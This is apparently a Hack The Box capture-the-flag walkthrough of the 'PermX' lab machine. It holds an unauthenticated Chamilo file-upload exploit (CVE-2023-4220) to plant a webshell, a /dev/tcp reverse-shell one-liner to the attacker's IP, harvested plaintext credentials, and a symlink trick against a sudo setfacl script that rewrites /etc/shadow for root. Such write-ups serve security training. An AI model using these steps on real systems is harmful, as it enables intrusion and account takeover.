PermX

INTRODUCTION

PermX is about exploiting a learning management system called Chamilo. The box was pretty easy, and shouldn’t take long to finish.

Recon mostly involves uncovering a couple subdomains. One of them is the usual, obvious subdomain, but the other is a bit more odd. Accessing the “more odd” subdomain allows you to know the name of the CMS you’re up against. Applying a little directory enumeration will reveal that you can actually access several directories in “file browser” mode, basically eliminating the need to do any file enumeration. One of these files will reveal the exact version of the CMS.

With the CMS fully identified, a little bit of vulnerability & exploit research will bring you to a premade exploit involving arbitrary file upload. Use this to upload a webshell to gain yourself an easy foothold. At this point, it’s convenient to turn the webshell into a reverse shell.

Local enumeration is pretty simple. Poking around the webserver directory will yield the database connection, and a simple keyword search on the filesystem will show some plaintext credentials (I think even Linpeas would find it). Utilize this to gain yourself a nice SSH connection.

The path towards the root flag is a little more obscure, but still very simple once you find it. It’s so simple that I can’t really write any more without spoiling it outright. My only advice is: remember to try some other privileged files, other than the root flag!

front carousel

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb

Only SSH and HTTP. Note the redirect to http://permx.htb.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results from the vuln scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT     STATE         SERVICE      VERSION
68/udp   open|filtered tcpwrapped
123/udp  open|filtered ntp
138/udp  open|filtered tcpwrapped
515/udp  open|filtered tcpwrapped
996/udp  open|filtered tcpwrapped
998/udp  open|filtered tcpwrapped
1433/udp open|filtered tcpwrapped
1434/udp open|filtered ms-sql-m
1719/udp open|filtered h323gatestat
2222/udp open|filtered tcpwrapped
2223/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped

Note that any open|filtered ports are either open or (much more likely) filtered.

We see NTP (which lots of network-connected things might run), MSSQL (database), and H.323 (for audio/video calls). I’ll refrain from guessing what the device is, but this is certainly an odd combination for a webserver.

Webserver Strategy

Noting the redirect from the nmap scan, I added permx.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=permx.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

That all looks pretty normal. That’s a recent version of Apache; all the contact info is in order.

Exploring the Website

navbar

The website seems like it’s for an eLearning platform, offering courses in various subjects like web design and programming. However, the site itself seems like it’s little more than a template. The only interactible element is the contact form, but it’s not hooked up yet. There are student testimonials, but they don’t link to anything, etc.

There must be another target. I’ll start scanning.

Enumeration

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No other domains resulted from this scan. Now I’ll check for subdomains of permx.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enumeration

There we go. I’ll add these to my /etc/hosts and check them out.

echo "$RADDR www.$DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR lms.$DOMAIN" | sudo tee -a /etc/hosts
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
for SUBDOMAIN in www lms; do
ffuf -w $WLIST:FUZZ -u http://$SUBDOMAIN.$DOMAIN/FUZZ -t 60 -c -o "ffuf-directories-$SUBDOMAIN" -of json -e .php,.html,.txt -timeout 4 -fs 278;  
done

As expected, http://www.permx.htb appears to be the same as http://permx.htb:

directory enumeration www

However, lms had a ton of new results. I’ll also follow up with scans of some of the directories (after I check them out manually). There are so many directories that I’m going to avoid doing a recursive scan for now.

directory enumeration lms

Navigating to http://lms.permx.htb and checking the page source reveals something like a javascript site map:

js in lms index

web seems to contain the usual directories that a website would. main looks like it might be a php web app. app has an upload directory, so there might be some interesting things in there.

LMS Subdomain

Navigating to http://lms.permx.htb brings us to a login page, for a web app called Chamilo. We can also see that there is an administrator named Davis Miller.

Unfortunately there is no way to register a user. I tried some guessable usernames on the password reset form, but no luck.

Perusing through the results of directory enumeration, I navigated to the /app directory, which has directory listing enabled:

app directory

Inside config, there is a file parameters.yml.dist that seems like it has some database credentials in it, but they are easily guessable anyway:

parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root
    
    # [...SNIP...]

    # A secret key that's used to generate certain security-related tokens
    secret: ThisTokenIsNotSoSecretChangeIt
    password_encryption: sha1

Maybe I’ll be able to find out more about the app from the /documentation directory?

Yes, there is a changelog page at http://lms.permx.htb/documentation/changelog.html which reveals that the version of chamilo currently running is 1.11.24.

FOOTHOLD

Chamilo CVEs

CVE-2023-3533

A little searching revealed some recent CVEs for Chamilo. One of the results I found is an unauthenticated RCE! It’s valid for Chamilo versions prior to 1.11.20. That’s an earlier version of the app, but it may still be worth trying to exploit this vulnerability (it’s an unauthenticated file upload, CVE 2023-3533).

I tried the PoC code provided here, but it reported that the target is not vulnerable:

cve-2023-3533 test

CVE-2023-3368

I also found a related vulnerability, CVE-2023-3368, issued by the same researcher, that gains unauthenticated RCE. Like the other one, they provided a PoC python script. It is supposed to provide command execution - but I think it’s blind, so I’ll start up a http server:

sudo ufw allow from $RADDR to any port 8000
simple-server 8000 -v

Trying out the PoC code, as indicated in the researcher’s post:

cve-2023-3368 test

Nope no luck (and there were no connections to my HTTP server either).

CVE-2023-4220

Thankfully, I found a list of CVEs for Chamillo that I could reference to find exactly what I needed. I searched through the list looking for CVEs that:

  1. would apply to chamilo 1.11.24
  2. could be performed unauthenticated
  3. could be leveraged into RCE.

The first CVE in the list that meets all of the above criteria was CVE-2023-4220:

finding CVE-2023-4220

Although it has an oddly low CVSS, it seems like the best candidate. That same researcher had a post about this CVE as well. They outline a PoC that exploits this this code, in bigUpload.php:

public function postUnsupported()
{
    $name = $_FILES['bigUploadFile']['name'];
    $size = $_FILES['bigUploadFile']['size'];
    $tempName = $_FILES['bigUploadFile']['tmp_name'];
    if (filesize($tempName) > $this->maxSize) {
        return get_lang('UplFileTooBig');
    }
    if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
        return get_lang('FileUploadSucces');
    } else {
        return get_lang('UplUnableToSaveFile');
    }
}

In short, to exploit we simply perform a file upload to /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported using a body parameter name bigUploadFile for the uploaded file. I’ll upload a simple PHP webshell:

curl -F 'bigUploadFile=@webshell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

webshell upload

The uploaded file is at /main/inc/lib/javascript/bigupload/files/webshell.php, so we can issue requests there to use it.

I’ll prepare a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT

My webshell is pretty unsophisticated, so I’ll write a url-encoded command to execute to pop a reverse shell. If you’re using a better webshell, this is probably unnecessary:

👇 I’m using one of my own tools, url-encode, but feel free to do this however you want

url_encode "bash -c 'sh -i >& /dev/tcp/10.10.14.3/4444 0>&1'"
# bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F4444+0%3E%261%27

Now just send the payload to the webshell:

CMD='bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F4444+0%3E%261%27'
curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell.php?cmd=$CMD"

No response from the cURL request - typically a good sign 😉

gained reverse shell

And there’s our reverse shell! 🎉

Upgrade the shell

Just to make things a little more comfortable, let’s go ahead and upgrade our shell. For more details on how/why to do this, please feel free to read my guide.

From the reverse shell, I’ll do this:

which python python3 perl bash
# python3 is present, so use that
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter] 
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120

USER FLAG

Local enumeration - www-data

I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:

  • There are only two important users on the box: root and mtz.
  • www-data can only write to /var/www
  • Useful tools on the target include nc, netcat, socat, curl, wget, python3, perl, php, tmux
  • The only other listening services are DNS and MySQL

Before looking anywhere else, I find that I often get good results from looking through the webserver configs first.

Right away, I found /var/www/chamilo/.travis.yml that shows some different database credentials than the ones we saw earlier:

travis yml

However, I tried querying the database with those credentials (and the ones from earlier) and access was denied.

💡 I already had access to yaml files though, via the website directory listing. If there’s any important stuff in here, it’s probably in a PHP file. I’ll check for config files or something that might set an environment variable.

cd /var/www/chamilo
find . -iname "conf*php"

This yielded 124 results, but one that stood out right away was the main app configuration directory, app/config. This is one of the directories we saw through the directory listing, but couldn’t access the PHP files. I’ll check the PHP files for the keywords “user” and “pass”:

cd app/config
grep -iEH "user|pass" ./*.php

Visually checking the results, I see some database credentials:

app config file 2

For convenience sake, I’ll upload this file to read it from my local machine:

curl -F 'file=@configuration.php' http://10.10.14.4:8000

We can see the credentials chamilo : 03F6lY3uXAP2bkW8.

Credential Reuse

🎗️ I just found a credential, so I should check for credential re-use too

I’m trying to get better at reminding myself to check for credential reuse as soon as I find any creds 😅

ssh mtz@$RADDR
# 03F6lY3uXAP2bkW8

Yep! That worked 😉

ssh as mtz

As expected, the user flag is present at /home/mtz/user.txt, so cat it out for some points:

cat /home/mtz/user.txt

ROOT FLAG

Local enumeration - mtz

As usual, the very first thing to do after logging into a user with a password is to check what they can sudo:

sudo -l
# User mtz may run the following commands on permx:
#    (ALL : ALL) NOPASSWD: /opt/acl.sh

Interesting. Let’s check the contents of this acl.sh script:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

The script was clearly intended for setting ACLs on any file within /home/mtz. However, the two if clauses seem like they might not be sufficient for maintaining security!

It seems clear that we need to do some kind of ../ traversal to do anything useful with this. After all, if I had a file in the home directory, I could just set permissions on it without using the script.

But since the .. characters deny us access, I’ll have to find another way 🤔

🚫 Wildcard tricks

Since there is an explicit call to sudo within acl.sh, I’ll need to inject a parameter within either $perm or $target.

$perm

mkdir -p ~/testdir
touch ~/testdir/testfile
sudo /opt/acl.sh mtz 'rwx /opt/acl.sh' '/home/mtz/testdir/testfile'

You’d think this would execute this line:

/usr/bin/sudo /usr/bin/setfacl -m u:mtz:rwx /opt/acl.sh /home/mtz/testdir/testfile

But unfortunately, this just gives us the error setfacl: Option -m: Invalid argument near character 11

$target

For this to work, I’ll need to create a file within the home directory that has a space in it:

cd ~
touch 'testdir/testfile /opt/acl.sh'
# touch: cannot touch 'testdir/testfile /opt/acl.sh': No such file or directory

It doesn’t seem to accept a space in the filename that is followed by a slash…

Another thing to try would be injecting a flag/option into a filename and feeding /home/mtz/testdir/* as the path, but it turns out that setfacl doesn’t have any options that can follow the -m {acl} option - so that idea won’t work either.

🚫 Filter bypass

Are there any ways I can trick the "$target" == *..* clause?

What about URL-encoding?

sudo /opt/acl.sh mtz rwx '/home/mtz/%2E./%2E./opt/acl.sh'
# Target must be a file

Nope. Maybe I’ll break up the .. with empty quotes?

sudo /opt/acl.sh mtz rwx /home/mtz/.''./.''./opt/acl.sh
# Access denied

Also nope.

🚫 Command injection in filename

touch 'testdir/test;{echo,hi}'
sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/test;{echo,hi}'
# No effect
sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/*'
# Target must be a file.

Instead of using a relative path like .., in Linux you can freely symlink to any file. That file simply holds a predefined path and points to it.

cd testdir
ln -s /opt/acl.sh lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; rm lnk
# setfacl: /home/mtz/testdir/lnk: Operation not permitted

Interesting. It seems to work fine on other files, though 🤔

ln -s /etc/passwd lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; rm lnk

etc passwd test

That seems like an adequate proof-of-concept, no? There must be something special about /opt/acl.sh that I’ve overlooked…

To be methodical, let’s try a bunch of files all at once. I’ll define a file called filelist.txt:

/root/root.txt
/root/.ssh/id_rsa
/opt/acl.sh
/etc/shadow
/etc/sudoers

Then I’ll run a script using this file:

while IFS= read -r F; do 
	echo "Trying to set ACL for $F"; 
	ln -s $F lnk; 
	sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; 
	ll $(realpath lnk); 
	rm lnk; 
	echo -e "\n"; 
done < filelist.txt

The results were surprising!

acl script

👀 Two very sensitive files worked with this method: /etc/shadow and /etc/sudoers.

Now we should be able to read /etc/shadow directly:

root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
...
mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
...

We could also edit /etc/sudoers to escalate privilege, but that would slightly “break” the box for other HTB users, so I prefer to just add a known password hash to /etc/shadow instead.

First, I’ll need to generate a password hash. I’ll do this by adding a user to my attacker machine:

sudo adduser dummy_user
# password: c0nd0rzz

This created a new line in my /etc/shadow file:

dummy_user:$y$j9T$onxPW9AildKDDbB4STxB6/$F.DNR1olJmtukYoG9IiYT2cwEvXZuIbj39TEKbMBc9.:19912:0:99999:7:::

So I should be able to just paste this hash over the root user’s

ln -s /etc/shadow lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; ll $(realpath lnk); rm lnk;
vim /etc/shadow

modified etc shadow

With that modified, I can simply log in with my known password:

su
# c0nd0rzz

Perfect - we’re logged in as root now 😁

root shell

There’s the flag! Just read it to finish off the box:

cat /root/root.txt

EXTRA CREDIT

The reset script

As I was finding a way to privesc, I noticed occasionally that my links were being deleted. Also (thankfully) there was something resetting permissions on all those files I was modifying with my bash script.

The contents of /root/reset.sh show exactly what it was up to:

#!/bin/bash

/usr/bin/cp /root/backup/passwd /etc/passwd
/usr/bin/cp /root/backup/shadow /etc/shadow
/usr/bin/cp /root/backup/sudoers /etc/sudoers
/usr/bin/cp /root/backup/crontab /etc/crontab
/usr/bin/setfacl -b /root/root.txt /etc/passwd /etc/shadow /etc/crontab /etc/sudoers

/usr/bin/find /home/mtz -type l ! -name "user.txt" -mmin -3 -exec rm {} \;

This also hints that I missed another way to escalate privilege: I could have used crontab 💡

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools*
rm -rf /home/mtz/testdir

Attacker

There’s also a little cleanup to do on my local / attacker machine. I need to delete that user I added:

sudo userdel -rf dummy_user

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

Finally, I’ll clean up my /etc/hosts file manually

sudo vim /etc/hosts

Thanks for reading

🤝🤝🤝🤝
@4wayhandshake